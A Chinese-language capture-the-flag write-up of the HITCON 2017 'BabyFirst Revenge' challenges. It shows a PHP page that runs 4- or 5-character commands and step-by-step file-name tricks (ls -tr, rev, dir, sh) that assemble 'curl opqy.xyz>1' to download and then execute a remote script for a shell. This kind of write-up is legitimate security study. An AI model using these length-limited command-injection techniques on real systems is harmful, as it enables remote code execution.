hitcon2017 BabyFirst Revenge系列

hitcon2017 BabyFirst Revenge系列

这次hitcon的web出了两个限制字符长度getshell的题,题解orange的github都给出了,链接自取https://github.com/orangetw/My-CTF-Web-Challenges
代码都差不多,我大概讲一下当时自己做的情况。

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

先是5字符getshell,这题方法很多,我是直接构造了按照顺序排列的文件名

curl opqy.xyz>zz

这种做法需要有一个合适的域名
具体操作为

   >cur\
   >l\+\ 
   >opq\
   >y.x\
   >y\
   >z\>\
   >zz\

效果如图

5byte

然后是4字符getshell,这个的难度感觉是飙升的23333

利用到的几个点

1.  ls –tr 通过时间排序文件
2.  rev s> t 将s的内容反序重定向到t
3.  dir 排列文件间隔为0x20,末尾会有0x0a,且对于文件名里有\的,会\\
4.  ls 排列文件间隔为0x0a
5.  *>1 命令类似于执行了$(dir *)>1,这里用到了一点是当dir在最前面的时候,如果你执行$(dir *),dir * 会返回你写文件前的所有文件名,也就是dir xx xxx ,然后这个命令会返回xx xxx;如果你执行$(dir d*),
在目录里只有一个dir开头是d时,dir d* 返回dir,然后这个命令返回所有文件名,包括你>写入的新文件

本题思路

1.  让dir一直在最前面,保证可以通过*>1 *>>1 d*>1实现不同效果的写入。
2.  因为要让dir在最前面,所以-t不能写。考虑倒序 对于 ls –tr >r,倒序为 r> rt- sl 满足排序
3.  通过rev s> t将2中的倒回来
4.  通过dir引入0x20
5.  构造一个rm的脚本,可以删除r和s开头的文件,避免干扰
6.  因此本题需要三个脚本,一个删除,一个倒序,一个ls –tr >r

具体过程

  • 构造rm r* rm s*的脚本
>dir
>r\
ls>m
>r\*
>rm
>s\*
*>>m
sh m

这个如何构造一个可以删除这个目录文件的脚本是我这个流程复杂的蛇皮方法能够成功的一个关键23333,可以好好理解一下,不知道有没有更加简单实用的脚本

  • 构造逆序脚本
>rev
>s\>
>t
>m\;
d*>e
sh m
rm t

其中,e的内容为逆序脚本的内容
dir m m; rev s> t
;来隔断dir的执行环节

  • 构造ls –tr >r
>r\>
>rt-
>sl
*>s
sh e
sh m

完成逆序,s的内容中有ls –tr >r

  • 按时间顺序写入payload
>cu\
>rl\
>\+\
>op\
>q\
>y.\
>xy\
>z\
>\>\
>1

payload就是curl opqy.xyz>1

  • getshell
sh s
sh 1
就getshell辣

推荐阅读更多精彩内容